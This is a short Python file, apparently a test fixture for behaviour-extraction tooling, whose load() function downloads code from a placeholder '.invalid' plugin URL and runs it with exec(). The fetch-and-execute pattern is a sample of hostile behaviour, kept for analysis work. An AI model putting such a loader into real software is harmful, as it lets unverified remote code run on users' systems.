File size: 313 Bytes
21a9138
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
# Inert test fixture for behaviour extraction. Never executed; hosts use the reserved .invalid TLD.
import urllib.request

PLUGIN_URL = "https://plugins.example.invalid/latest.py"


def load():
    with urllib.request.urlopen(PLUGIN_URL, timeout=5) as resp:
        code = resp.read().decode()
    exec(code, {})